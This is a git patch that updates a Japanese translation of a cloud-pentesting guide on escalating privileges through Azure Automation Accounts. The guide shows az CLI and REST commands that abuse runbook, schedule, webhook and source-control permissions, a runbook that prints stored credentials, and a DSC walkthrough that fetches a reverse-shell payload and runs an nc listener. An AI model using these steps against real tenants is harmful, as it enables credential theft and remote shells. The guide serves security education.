From 126576ade46a33d1cba757a0deebdd8a5e04f007 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 21 Jan 2026 20:59:15 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-automation-accounts-privesc.md | 114 ++++++++++-------- 1 file changed, 66 insertions(+), 48 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 123961018..c4b626b57 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -4,37 +4,37 @@ ## Azure Automation Accounts -詳細については、次を確認してください: +詳細は次を参照してください: {{#ref}} ../az-services/az-automation-accounts.md {{#endref}} -### ハイブリッドワーカーグループ +### Hybrid Workers Group -- **Automation AccountからVMへ** +- **Automation Account から VM へ** -攻撃者がハイブリッドワーカーで任意のランブック(任意のコード)を実行できる場合、彼は**VMの場所にピボットします**。これは、オンプレミスのマシン、異なるクラウドのVPC、またはAzure VMである可能性があります。 +攻撃者が何らかの方法で hybrid worker 上で arbitrary runbook (arbitrary code) を実行できる場合、彼は **pivot to the location of the VM** できます。これはオンプレミスのマシン、別のクラウドの VPC、あるいは Azure VM であり得ます。 -さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、ランブックは**ランブックのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティにアクセスできる**ようになります。 +さらに、hybrid worker が Azure 上で他の Managed Identities をアタッチした状態で動作している場合、runbook は **managed identity of the runbook and all the managed identities of the VM from the metadata service** にアクセスできるようになります。 > [!TIP] -> **メタデータサービス**は、Automation Accountのマネージドアイデンティティトークンを取得するサービスとは異なるURL(**`http://169.254.169.254`**)を持っていることを忘れないでください(**`IDENTITY_ENDPOINT`**)。 +> メタデータサービス(**metadata service**)は、automation account の Managed Identities トークンを取得するサービス(**`IDENTITY_ENDPOINT`**)とは異なる URL(**`http://169.254.169.254`**)を持っていることを覚えておいてください。 -- **VMからAutomation Accountへ** +- **VM から Automation Account へ** -さらに、誰かがAutomation Accountスクリプトが実行されているVMを侵害した場合、彼は**Automation Account**のメタデータを特定し、VMからアクセスして**Automation Accountに関連付けられたManaged Identities**のトークンを取得できるようになります。 +さらに、Automation Account のスクリプトが実行されている VM を誰かが侵害した場合、彼は **Automation Account** のメタデータを特定し、VM からアクセスして Automation Account に紐づく **Managed Identities** のトークンを取得できます。 -次の画像に示すように、VM上で管理者アクセスを持っている場合、**プロセスの環境変数**の中にAutomation AccountメタデータサービスにアクセスするためのURLとシークレットを見つけることができます: +以下の画像に示すように、VM 上で Administrator 権限があれば、プロセスの **プロセスの環境変数** に automation account メタデータサービスへアクセスするための URL と secret を見つけることができます: ![]() ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -要約すると、これらの権限は**Automation Account内でRunbooksを作成、変更、実行する**ことを可能にし、これを使用して**Automation Accountのコンテキストでコードを実行し、割り当てられた**Managed Identities**に特権を昇格させ、Automation Accountに保存された**資格情報**や**暗号化された変数**を漏洩させることができます。 +要約すると、これらの権限は Automation Account 内で **create, modify and run Runbooks** を許可し、Automation Account のコンテキストで **execute code** を行い、割り当てられた **Managed Identities** への権限昇格や Automation Account に保存された **credentials** と **encrypted variables** の leak に利用できます。 -権限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**は、Automation Account内のRunbookのコードを変更することを可能にします: +権限 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** により、Automation Account 内の Runbook のコードを次の方法で修正できます: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -47,16 +47,16 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -前のスクリプトが、Automation Accountに保存されている資格情報の**ユーザー名とパスワード**、および**暗号化された変数**の値を**漏洩**させるためにどのように使用できるかに注意してください。 +前のスクリプトが、Automation Account に保存された資格情報の**leak ユーザー名とパスワード**および**暗号化された変数**の値を取得するのにどのように使えるかに注意してください。 -権限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**は、ユーザーがAutomation Account内でRunbookを公開できるようにし、変更が適用されることを許可します。 +権限 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** は、ユーザーが Automation Account 内で Runbook を公開し、変更を適用することを可能にします: ```bash az automation runbook publish \ --resource-group \ --automation-account-name \ --name ``` -権限 **`Microsoft.Automation/automationAccounts/jobs/write`** は、ユーザーが次の方法でAutomation Account内でRunbookを実行することを許可します: +権限 **`Microsoft.Automation/automationAccounts/jobs/write`** により、ユーザーは Automation Account 内の Runbook を次の方法で実行できます: ```bash az automation runbook start \ --automation-account-name \ @@ -64,18 +64,18 @@ az automation runbook start \ --name \ [--run-on ] ``` -権限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** は、ユーザーが次の方法でAutomation Account内のジョブの出力を読み取ることを許可します: +権限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** により、ユーザーは Automation Account のジョブの出力を次の方法で読み取ることができます: ```bash az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Runbookが作成されていない場合、または新しいRunbookを作成したい場合は、次の権限が必要です。**`Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`** を使用して行います。 +Runbooks が作成されていない、または新しい Runbook を作成したい場合、次を使用してそれを行うには **権限 `Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`** が必要です: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のID**を割り当てることを許可します: +この権限により、ユーザーは次の方法で Automation Account に **ユーザー割り当てマネージド ID を割り当てる** ことができます: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -91,9 +91,9 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -権限 **`Microsoft.Automation/automationAccounts/schedules/write`** を使用すると、以下のコマンドを使用して、15分ごとに実行される新しいスケジュールをAutomation Accountに作成することができます(あまりステルスではありません)。 +権限 **`Microsoft.Automation/automationAccounts/schedules/write`** があれば、次のコマンドを使って Automation Account に新しい Schedule を作成し、15分ごとに実行させることができます(あまりステルスではありません)。 -スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先です。 +Schedule の最小間隔は 15 分で、開始時間は少なくとも 5 分後でなければならない点に注意してください。 ```bash ## For linux az automation schedule create \ @@ -115,7 +115,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -その後、**`Microsoft.Automation/automationAccounts/jobSchedules/write`** の権限を持つことで、次のようにしてランブックにスケジューラーを割り当てることができます: +その後、権限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** があれば、次の方法で runbook に Scheduler を割り当てることができます: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -134,22 +134,40 @@ az rest --method PUT \ }' ``` > [!TIP] -> 前の例では、jobchedule idが**`b510808a-8fdc-4509-a115-12cfc3a2ad0d`の例**として残されていましたが、この割り当てを作成するには任意の値を使用する必要があります。 +> 前の例ではジョブスケジュール ID が **`b510808a-8fdc-4509-a115-12cfc3a2ad0d`(例)** として残されていましたが、この割り当てを作成するには任意の値を使用する必要があります。 ### `Microsoft.Automation/automationAccounts/webhooks/write` -権限**`Microsoft.Automation/automationAccounts/webhooks/write`**を使用すると、次のコマンドを使用してAutomation Account内のRunbook用の新しいWebhookを作成することができます。 +権限 **`Microsoft.Automation/automationAccounts/webhooks/write`** を持っていると、次のいずれかのコマンドを使用して Automation Account 内の Runbook の新しい Webhook を作成できます。 + +With Azure Powershell: ```bash New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true ``` -このコマンドは、作成時にのみ表示されるウェブフックURIを返す必要があります。次に、ウェブフックURIを使用してランブックを呼び出します。 +AzureCLI と REST を使用して: +```bash +az rest --method put \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2015-10-31" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2027-12-31T23:59:59+00:00", +"runOn": "", +"runbook": { +"name": "" +} +} +}' +``` +これらのコマンドは、作成時にのみ表示される webhook URI を返すはずです。次に、webhook URI を使用して runbook を呼び出すには ```bash curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -`Microsoft.Automation/automationAccounts/runbooks/draft/write` の権限だけで、**Runbookのコードを更新**し、公開せずに次のコマンドを使用して実行することが可能です。 +権限 `Microsoft.Automation/automationAccounts/runbooks/draft/write` のみで、**Runbook のコードを更新**し、それを公開することなく以下のコマンドで実行できます。 ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -この権限は、ユーザーが次のようなコマンドを使用してAutomation Accountの**ソースコントロールを構成する**ことを許可します(これはGithubを例にしています): +この権限により、ユーザーは次のようなコマンドを使用して Automation Account の **source control を構成する** ことができます(例として Github を使用): ```bash az automation source-control create \ --resource-group \ @@ -190,16 +208,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -これにより、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることができれば、**権限を昇格させることが可能**です。 +これにより、Github リポジトリから runbooks が Automation Account に自動的にインポートされ、さらにそれらを実行するための適切な権限があれば、**possible to escalate privileges**。 -さらに、Automation Accountsでソース管理が機能するためには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザーマネージドアイデンティティの場合は、MIのクライアントIDを変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に指定する必要があります。 +さらに、Automation Accounts の source control を機能させるには、role が **`Contributor`** の managed identity を持っている必要があり、user managed identity の場合は MI の client id を変数 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** に指定する必要があることを忘れないでください。 > [!TIP] -> 作成後にソース管理のリポジトリURLを変更することはできないことに注意してください。 +> 作成後に source control の repo URL を変更することはできない点に注意してください。 ### `Microsoft.Automation/automationAccounts/variables/write` -権限**`Microsoft.Automation/automationAccounts/variables/write`**を使用すると、次のコマンドを使用してAutomation Accountに変数を書き込むことができます。 +権限 **`Microsoft.Automation/automationAccounts/variables/write`** があれば、以下のコマンドを使って Automation Account に変数を書き込むことができます。 ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -215,51 +233,51 @@ az rest --method PUT \ ``` ### カスタムランタイム環境 -自動化アカウントがカスタムランタイム環境を使用している場合、ランタイムのカスタムパッケージを悪意のあるコード(**バックドア**など)で上書きすることが可能です。この方法では、そのカスタムランタイムを使用するランブックが実行され、カスタムパッケージがロードされるたびに、悪意のあるコードが実行されます。 +もし automation account がカスタムランタイム環境を使用している場合、ランタイムのカスタムパッケージを悪意のあるコード(**a backdoor** のような)で上書きすることが可能になる場合があります。こうすると、そのカスタムランタイムを使用しカスタムパッケージをロードする runbook が実行されるたびに、悪意のあるコードが実行されます。 -### 状態構成の妥協 +### State Configuration の侵害 -**完全な投稿を確認するには:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) +**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) -- ステップ 1 — ファイルの作成 +- Step 1 — Create Files -**必要なファイル:** 2つのPowerShellスクリプトが必要です: -1. `reverse_shell_config.ps1`: ペイロードを取得して実行するDesired State Configuration (DSC)ファイル。これは[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)から入手可能です。 -2. `push_reverse_shell_config.ps1`: 構成をVMに公開するためのスクリプトで、[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)で入手できます。 +**Files Required:** Two PowerShell scripts are needed: +1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) ファイルで、ペイロードを取得して実行します。入手先は [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) です。 +2. `push_reverse_shell_config.ps1`: 設定を VM に公開するスクリプトで、入手先は [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) です。 -**カスタマイズ:** これらのファイル内の変数とパラメータは、リソース名、ファイルパス、サーバー/ペイロード識別子を含むユーザーの特定の環境に合わせて調整する必要があります。 +**Customization:** これらのファイル内の変数やパラメータは、リソース名、ファイルパス、サーバー/ペイロード識別子など、利用者の環境に合わせて調整する必要があります。 -- ステップ 2 — 構成ファイルを圧縮 +- Step 2 — Zip Configuration File -`reverse_shell_config.ps1`は`.zip`ファイルに圧縮され、Azureストレージアカウントへの転送の準備が整います。 +`reverse_shell_config.ps1` を `.zip` ファイルに圧縮し、Azure Storage Account に転送できる状態にします。 ```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` -- ステップ 3 — ストレージコンテキストの設定とアップロード +- Step 3 — Set Storage Context & Upload -圧縮された構成ファイルは、AzureのSet-AzStorageBlobContent cmdletを使用して、事前定義されたAzure Storageコンテナazure-pentestにアップロードされます。 +圧縮された構成ファイルは、あらかじめ定義された Azure Storage コンテナ、azure-pentest に、Azure の Set-AzStorageBlobContent cmdlet を使用してアップロードされます。 ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- ステップ 4 — Kali ボックスの準備 +- ステップ 4 — Kali Box の準備 Kali サーバーは GitHub リポジトリから RevPS.ps1 ペイロードをダウンロードします。 ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -スクリプトは、ターゲットのWindows VMとリバースシェルのポートを指定するように編集されます。 +スクリプトは、reverse shell用のターゲットWindows VMとポートを指定するように編集されます。 -- ステップ 5 — 構成ファイルの公開 +- ステップ5 — 設定ファイルを公開 -構成ファイルが実行され、リバースシェルスクリプトが指定された場所にWindows VMにデプロイされます。 +設定ファイルが実行され、reverse-shellスクリプトが指定された場所のWindows VMに展開されます。 -- ステップ 6 — ペイロードのホストとリスナーの設定 +- ステップ6 — Payloadをホストし、Listenerをセットアップ -ペイロードをホストするためにPythonのSimpleHTTPServerが起動され、受信接続をキャプチャするためのNetcatリスナーが設定されます。 +PayloadをホストするためにPython SimpleHTTPServerが起動され、着信接続をキャプチャするためにNetcat listenerが実行されます。 ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 ``` -スケジュールされたタスクがペイロードを実行し、SYSTEMレベルの特権を達成します。 +スケジュールされたタスクがpayloadを実行し、SYSTEMレベルの権限を取得します。 {{#include ../../../banners/hacktricks-training.md}}